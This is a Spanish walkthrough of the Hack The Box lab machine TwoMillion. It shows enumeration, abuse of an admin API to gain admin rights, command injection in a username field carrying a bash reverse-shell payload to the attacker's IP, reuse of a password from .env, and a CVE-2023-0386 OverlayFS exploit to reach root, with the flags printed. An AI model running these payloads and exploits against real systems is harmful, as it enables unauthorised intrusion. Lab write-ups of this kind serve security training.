TwoMillion

Enumeración

Lo primero que voy a hacer es si la máquina se encuentra encendida.

❯ ping -c 1 10.10.11.221
PING 10.10.11.221 (10.10.11.221) 56(84) bytes of data.
64 bytes from 10.10.11.221: icmp_seq=1 ttl=63 time=130 ms

--- 10.10.11.221 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 129.898/129.898/129.898/0.000 ms


❯ whichSystem.py 10.10.11.221

	10.10.11.221 (ttl -> 63): Linux

Veo que me responde. Gracias al ttl identifico que estoy ante una máquina Linux.

Ahora voy a hacer una enummeración con nmap para escanear todos los puertos (-p-) abiertos (–open) con un Stealth Scan (-sS), que permite un escaneo más rápido y sigiloso, junto con un –min-rate de 5000 para tramitar 5000 paquetes/segundo. Le incluyo también un triple verbose (-vvv) para que vaya mostrando por consola los puertos abiertos sin necesidad de que el escaneo concluya, y no quiero que aplique resolución DNS (-n) ni el descubrimiento/detección de hosts (-Pn). Por último lo exporto a formato grepeable (-oG).

sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.221 -oG puertos

❯ cat puertos
───────┬──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: puertos
───────┼──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ # Nmap 7.94SVN scan initiated Mon Jun 10 05:46:46 2024 as: nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn -oG puertos 10.10.11.221
   2   │ # Ports scanned: TCP(65535;1-65535) UDP(0;) SCTP(0;) PROTOCOLS(0;)
   3   │ Host: 10.10.11.221 ()   Status: Up
   4   │ Host: 10.10.11.221 ()   Ports: 22/open/tcp//ssh///, 80/open/tcp//http///
   5   │ # Nmap done at Mon Jun 10 05:47:02 2024 -- 1 IP address (1 host up) scanned in 16.17 seconds

❯ extractPorts puertos
───────┬──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: extractPorts.tmp
───────┼──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ 
   2   │ [*] Extracting information...
   3   │ 
   4   │     [*] IP Address: 10.10.11.221
   5   │     [*] Open ports: 22,80

Una vez tenemos los puertos abiertos vamos a escanear esos 2 puertos lanzando unos scripts básicos de reconocimiento (-sC) y tratar de determinar la versión y servicio (-sV). Luego lo voy a exportar en formato nmap (-oN).

❯ nmap -p22,80 -sC -sV 10.10.11.221 -oN objetivo


❯ cat objetivo -l java
───────┬──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: objetivo
───────┼──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ # Nmap 7.94SVN scan initiated Mon Jun 10 05:51:50 2024 as: nmap -p22,80 -sC -sV -oN objetivo 10.10.11.221
   2   │ Nmap scan report for 10.10.11.221
   3   │ Host is up (0.15s latency).
   4   │ 
   5   │ PORT   STATE SERVICE VERSION
   6   │ 22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
   7   │ | ssh-hostkey: 
   8   │ |   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
   9   │ |_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
  10   │ 80/tcp open  http    nginx
  11   │ |_http-title: Did not follow redirect to http://2million.htb/
  12   │ Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
  13   │ 
  14   │ Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
❯ ping -c 1 2million.htb
ping: 2million.htb: Name or service not known

Voy a incluir http://2million.htb/ en mi archivo /etc/hosts para que sea capaz de encontrar la página.

Hay muchos botones que no son funcionales. Los que nos interesan son el de join y el de login.

Si miramos el código fuente encontramos unos scripts

Vamos a intentar ver el de inviteapi.min.js pero encuentro el código ofuscado

Con d4js podemos desofuscarlo.

Encuentro 2 funciones de JS que se utilizan para realizar socilitudes al servidor. Una que te da un endpoint de como generar el código y otra que toma como parámetro el code para verificarlo. Ya puedo empezar a probar tirando de esos endpoints.

Antes, en la consola del navegador voy a usar this, que en js se refiere al objecto actual que se está ejecutando en el código. Si ejecutas “this” en la consola del navegador web, devolverá el objeto global, que es window en el contexto del navegador.

Encontramos la función que genera el código de invitación. Cuando ejecuto makeInviteCode() se interactua con alguna API o función en la web que devuelve un JSON como respuesta. La respuesta está cifrada con ROT13. ROT13 es un cifrado simple que rota (de ahí el nombre) cada letra 13 lugares. Es decir, cada letra se sustitutye por otra letra que esté 13 lugares más adelante. (Ejemplo, “a” se convierte en “n”, “z” se convierte en “m”). Ahi páginas, como esta que lo descifra.

Y nos da el mismo endpoint que antes. Voy a usar curl para realizar una solicitud y recibir respuesta del servidor.

❯ curl -X POST http://2million.htb/api/v1/invite/generate
{"0":200,"success":1,"data":{"code":"SjZXRkgtVDJRTjgtS0o5WlktMklPM04=","format":"encoded"}}%   

Obtengo una respuesta exitosa que me devuelve en formato JSON con el valor de code que parece que está codificado en base 64. Con base64 podemos decodificar la cadena y ver su contenido

echo "SjZXRkgtVDJRTjgtS0o5WlktMklPM04=" | base64 -d; echo

J6WFH-T2QN8-KJ9ZY-2IO3N

Ahora si pongo este invite code me deja crear una cuenta

Explotación

Voy a intentar conseguir más endpoints pasándole mi cookie y la ruta hasta /api/v1 para que busque apartir de ahí. Utilizo -s (silent) para que suprima la salida de progreso y solo muestre la de repsuesta y -H para customizar la header donde pondremos la cookie.

❯ curl "http:/2million.htb/api/v1" -s -H "Cookie: PHPSESSID=03rj5gb2bmuojkcoh8diaki5vm" | jq
{
  "v1": {
    "user": {
      "GET": {
        "/api/v1": "Route List",
        "/api/v1/invite/how/to/generate": "Instructions on invite code generation",
        "/api/v1/invite/generate": "Generate invite code",
        "/api/v1/invite/verify": "Verify invite code",
        "/api/v1/user/auth": "Check if user is authenticated",
        "/api/v1/user/vpn/generate": "Generate a new VPN configuration",
        "/api/v1/user/vpn/regenerate": "Regenerate VPN configuration",
        "/api/v1/user/vpn/download": "Download OVPN file"
      },
      "POST": {
        "/api/v1/user/register": "Register a new user",
        "/api/v1/user/login": "Login with existing user"
      }
    },
    "admin": {
      "GET": {
        "/api/v1/admin/auth": "Check if user is admin"
      },
      "POST": {
        "/api/v1/admin/vpn/generate": "Generate VPN for specific user"
      },
      "PUT": {
        "/api/v1/admin/settings/update": "Update user settings"
      }
    }
  }
}

También se puede ver desde el navegador

Si probamos a ver que nos devuelve el navegador al entrar a la ruta de admin.

❯ curl -s -X GET "http://2million.htb/api/v1/admin/auth" -H "Cookie: PHPSESSID=5a2jtf8ii4cqbc8m7097kj74n0" | jq
{
  "message": false
}

Por tanto entiendo que no soy admin. Voy a intentar generar una vpn para un usuario por POST.

❯ curl -s -X POST "http://2million.htb/api/v1/admin/vpn/generate" -H "Cookie: PHPSESSID=5a2jtf8ii4cqbc8m7097kj74n0" -v | jq
* Host 2million.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.10.11.221
*   Trying 10.10.11.221:80...
* Connected to 2million.htb (10.10.11.221) port 80
> POST /api/v1/admin/vpn/generate HTTP/1.1
> Host: 2million.htb
> User-Agent: curl/8.7.1
> Accept: */*
> Cookie: PHPSESSID=5a2jtf8ii4cqbc8m7097kj74n0
> 
* Request completely sent off
< HTTP/1.1 401 Unauthorized
< Server: nginx
< Date: Mon, 10 Jun 2024 19:43:10 GMT
< Content-Type: text/html; charset=UTF-8
< Transfer-Encoding: chunked
< Connection: keep-alive
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< 
{ [5 bytes data]
* Connection #0 to host 2million.htb left intact

Nos dice unauthorized. Voy a probar el endpoint de cambiar las características de un usuario

❯ curl -s -X PUT "http://2million.htb/api/v1/admin/settings/update" -H "Cookie: PHPSESSID=5a2jtf8ii4cqbc8m7097kj74n0" | jq
{
  "status": "danger",
  "message": "Invalid content type."
}

También podemos ver el mensaje pasando por nuestro proxy usando Burpsuite y ver que nos devuelve la respuesta, que es lo mismo que hemos hecho con curl.

Nos dice invalid content type. Cuando estamos trabajando con APIs el content type que solemos usar es el de JSON. Voy a añadir el Content-Type: application/json al head a ver que nos devuelve.

Nos dice que nos falta el parametro email. Voy a ponerlo

Ahora nos pide otro parámetro. Voy a poner 1 (true).

Con curl se podría haber sacado con este comando

❯ curl -s -X PUT "http://2million.htb/api/v1/admin/settings/update" -H "Cookie: PHPSESSID=5a2jtf8ii4cqbc8m7097kj74n0" -H "Content-Type: application/json" -d '{"email":"hi@hi.com","is_admin":1}'| jq
{
  "id": 14,
  "username": "hi",
  "is_admin": 1
}

Parece que ya tenemos administrador, vamos a comprobarlo con el endpoint que habíamos enumerado anteriormente.

Y efectivamente somos admin. Antes no me dejaba generar una vpn para un usuario. Voy a probar ahora

❯ curl -s -X POST "http://2million.htb/api/v1/admin/vpn/generate" -H "Cookie: PHPSESSID=5a2jtf8ii4cqbc8m7097kj74n0" | jq
{
  "status": "danger",
  "message": "Invalid content type."
}

Ahora vemos como nos responde distinto que antes. Vamos a volver a añadir el Content-Type que nos pide.

Y un usuario nos pide ahora

Nos genera la VPN para el usuario. Este campo usuario parece vulnerable. Voy a probar a inyectar comandos separándolos por ;

Y efectivamente, asi que voy a hacer una reverse shell

Con Curl sería así:

❯ curl -s -X POST "http://2million.htb/api/v1/admin/vpn/generate" -H "Cookie: PHPSESSID=5a2jtf8ii4cqbc8m7097kj74n0" -H "Content-Type: application/json" -d '{"username":"hi;bash -c \"bash -i >& /dev/tcp/10.10.14.160/443 0>&1\";"}'

Ahora hago el tratamiento de la tty como siempre.

Esto reinicia la terminal actual y ahora puedes hacer cntrl + c sin que se vaya la máquina. Si queremos que vaya el control + l hacemos lo siguiente.

www-data@2million:~/html$ echo $TERM
dumb
www-data@2million:~/html$ export TERM=xterm  
www-data@2million:~/html$ echo $TERM
xterm

Por último para modificar el size del stty que es para que se vea bien el editor nano escribimos el siguiente comando

www-data@2million:~/html$ stty size
24 80
www-data@2million:~/html$ stty rows 44 columns 184
www-data@2million:~/html$ stty size
44 184

Vamos a buscar a ver que encontramos

www-data@2million:~/html$ ls -la
total 56
drwxr-xr-x 10 root root 4096 Jun 10 22:40 .
drwxr-xr-x  3 root root 4096 Jun  6  2023 ..
-rw-r--r--  1 root root   87 Jun  2  2023 .env
-rw-r--r--  1 root root 1237 Jun  2  2023 Database.php
-rw-r--r--  1 root root 2787 Jun  2  2023 Router.php
drwxr-xr-x  5 root root 4096 Jun 10 22:40 VPN
drwxr-xr-x  2 root root 4096 Jun  6  2023 assets
drwxr-xr-x  2 root root 4096 Jun  6  2023 controllers
drwxr-xr-x  5 root root 4096 Jun  6  2023 css
drwxr-xr-x  2 root root 4096 Jun  6  2023 fonts
drwxr-xr-x  2 root root 4096 Jun  6  2023 images
-rw-r--r--  1 root root 2692 Jun  2  2023 index.php
drwxr-xr-x  3 root root 4096 Jun  6  2023 js
drwxr-xr-x  2 root root 4096 Jun  6  2023 views
www-data@2million:~/html$ cat .env
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123
www-data@2million:~/html$ 

Pues un archivo .env con el nombre de la base de datos y con el usuario y la pass.

De todas formas voy a mirar a ver que usuarios hay dentro de esta máquina

www-data@2million:~/html$ ls -l /home/
total 4
drwxr-xr-x 4 admin admin 4096 Jun  6  2023 admin
www-data@2million:~/html$ su admin
Password: 
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

Y probando con la contraseña consigo acceso a dicho usuario

admin@2million:/var/www/html$ whoami
admin
USER FLAG
---------------------------
admin@2million:~$ ls
user.txt
admin@2million:~$ cat user.txt 
7f9dffcf5eadf4f1a929d8d7d25e6609

Voy a conectarme por ssh para tener una shell más cómoda

❯ ssh admin@10.10.11.221
The authenticity of host '10.10.11.221 (10.10.11.221)' can't be established.
ED25519 key fingerprint is SHA256:TgNhCKF6jUX7MG8TC01/MUj/+u0EBasUVsdSQMHdyfY.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.221' (ED25519) to the list of known hosts.
admin@10.10.11.221's password: 
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.70-051570-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Mon Jun 10 09:10:12 PM UTC 2024

  System load:           0.08544921875
  Usage of /:            75.7% of 4.82GB
  Memory usage:          13%
  Swap usage:            0%
  Processes:             222
  Users logged in:       1
  IPv4 address for eth0: 10.10.11.221
  IPv6 address for eth0: dead:beef::250:56ff:feb9:c862

 * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
   just raised the bar for easy, resilient and secure K8s cluster deployment.

   https://ubuntu.com/engage/secure-kubernetes-at-the-edge

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


You have mail.
Last login: Mon Jun 10 21:10:13 2024 from 10.10.16.29
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

admin@2million:~$ 

Si leemos todo bien nos dice, you have mail

admin@2million:~$ cd /var/mail
admin@2million:/var/mail$ ls
admin
admin@2million:/var/mail$ cat admin 
From: ch4p <ch4p@2million.htb>
To: admin <admin@2million.htb>
Cc: g0blin <g0blin@2million.htb>
Subject: Urgent: Patch System OS
Date: Tue, 1 June 2023 10:45:22 -0700
Message-ID: <9876543210@2million.htb>
X-Mailer: ThunderMail Pro 5.2

Hey admin,

I'm know you're working as fast as you can to do the DB migration. While we're partially down, can you also upgrade the OS on our web host? There have been a few serious Linux kernel CVEs already this year. That one in OverlayFS / FUSE looks nasty. We can't get popped by that.

HTB Godfather
admin@2million:/var/mail$ 

Escalada de privilegios

El correo solicita que, además de la migración de la base de datos en curso, se actualice el sistema operativo del servidor web debido a vulnerabilidades serias en el kernel de Linux este año, especialmente una en OverlayFS / FUSE.

Voy a usar este repo para intentar explotarlo

❯ git clone https://github.com/sxlmnwb/CVE-2023-0386.git
Cloning into 'CVE-2023-0386'...
remote: Enumerating objects: 13, done.
remote: Counting objects: 100% (13/13), done.
remote: Compressing objects: 100% (9/9), done.
remote: Total 13 (delta 2), reused 13 (delta 2), pack-reused 0
Receiving objects: 100% (13/13), 8.89 KiB | 379.00 KiB/s, done.
Resolving deltas: 100% (2/2), done.
❯ zip comprimido.zip -r CVE-2023-0386

❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Me hago un comprimido para pasármelo a la máquina en un servidor http con python

admin@2million:/tmp$ wget http://10.10.14.160/comprimido.zip
--2024-06-10 23:11:25--  http://10.10.14.160/comprimido.zip
Connecting to 10.10.14.160:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 43518 (42K) [application/zip]
Saving to: ‘comprimido.zip.1’

comprimido.zip.1                                0%[                                                                                                  ]       0  --.-KB/s            comprimido.zip.1                              100%[=================================================================================================>]  42.50K  91.4KB/s            comprimido.zip.1                              100%[=================================================================================================>]  42.50K  91.4KB/s    in 0.5s    

2024-06-10 23:11:26 (91.4 KB/s) - ‘comprimido.zip.1’ saved [43518/43518]

Lo descomprimimos y ejecutamos el comando make all que nos decia en el repo de github

admin@2million:/tmp/CVE-2023-0386$ make all
gcc fuse.c -o fuse -D_FILE_OFFSET_BITS=64 -static -pthread -lfuse -ldl
fuse.c: In function ‘read_buf_callback’:
fuse.c:106:21: warning: format ‘%d’ expects argument of type ‘int’, but argument 2 has type ‘off_t’ {aka ‘long int’} [-Wformat=]
  106 |     printf("offset %d\n", off);
      |                    ~^     ~~~
      |                     |     |
      |                     int   off_t {aka long int}
      |                    %ld
fuse.c:107:19: warning: format ‘%d’ expects argument of type ‘int’, but argument 2 has type ‘size_t’ {aka ‘long unsigned int’} [-Wformat=]
  107 |     printf("size %d\n", size);
      |                  ~^     ~~~~
      |                   |     |
      |                   int   size_t {aka long unsigned int}
      |                  %ld
fuse.c: In function ‘main’:
fuse.c:214:12: warning: implicit declaration of function ‘read’; did you mean ‘fread’? [-Wimplicit-function-declaration]
  214 |     while (read(fd, content + clen, 1) > 0)
      |            ^~~~
      |            fread
fuse.c:216:5: warning: implicit declaration of function ‘close’; did you mean ‘pclose’? [-Wimplicit-function-declaration]
  216 |     close(fd);
      |     ^~~~~
      |     pclose
fuse.c:221:5: warning: implicit declaration of function ‘rmdir’ [-Wimplicit-function-declaration]
  221 |     rmdir(mount_path);
      |     ^~~~~
/usr/bin/ld: /usr/lib/gcc/x86_64-linux-gnu/11/../../../x86_64-linux-gnu/libfuse.a(fuse.o): in function `fuse_new_common':
(.text+0xaf4e): warning: Using 'dlopen' in statically linked applications requires at runtime the shared libraries from the glibc version used for linking
gcc -o exp exp.c -lcap
gcc -o gc getshell.c
admin@2million:/tmp/CVE-2023-0386$ ls
exp  exp.c  fuse  fuse.c  gc  getshell.c  Makefile  ovlcap  README.md  test

Ahora ejecuto el siguiente comando

admin@2million:/tmp/CVE-2023-0386$ ./fuse ./ovlcap/lower ./gc
[+] len of gc: 0x3ee0
mkdir: File exists
fuse: mountpoint is not empty
fuse: if you are sure this is safe, use the 'nonempty' mount option
fuse_mount: File exists

admin@2million:/tmp/CVE-2023-0386$ ./fuse nonempty ./ovlcap/lower ./gc
[+] len of gc: 0x0

Y ahora ejecuto la segunda terminal .

admin@2million:~$ cd /tmp/CVE-2023-0386/ 
admin@2million:/tmp/CVE-2023-0386$ ./exp 
uid:1000 gid:1000
[+] mount success
total 8
drwxrwxr-x 1 root   root     4096 Jun 10 23:14 .
drwxr-xr-x 6 root   root     4096 Jun 10 23:19 ..
-rwsrwxrwx 1 nobody nogroup 16096 Jan  1  1970 file
[+] exploit success!
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

root@2million:/tmp/CVE-2023-0386# whoami
root
R00T FLAG
---------------------------
root@2million:~# find / -name root.txt
find: ‘/tmp/CVE-2023-0386/nonempty’: Permission denied
find: ‘/tmp/CVE-2023-0386/ovlcap/lower’: Permission denied
/root/root.txt
root@2million:~# cat /root/root.txt
5d7c7780165ae6ec2958a2a063e33652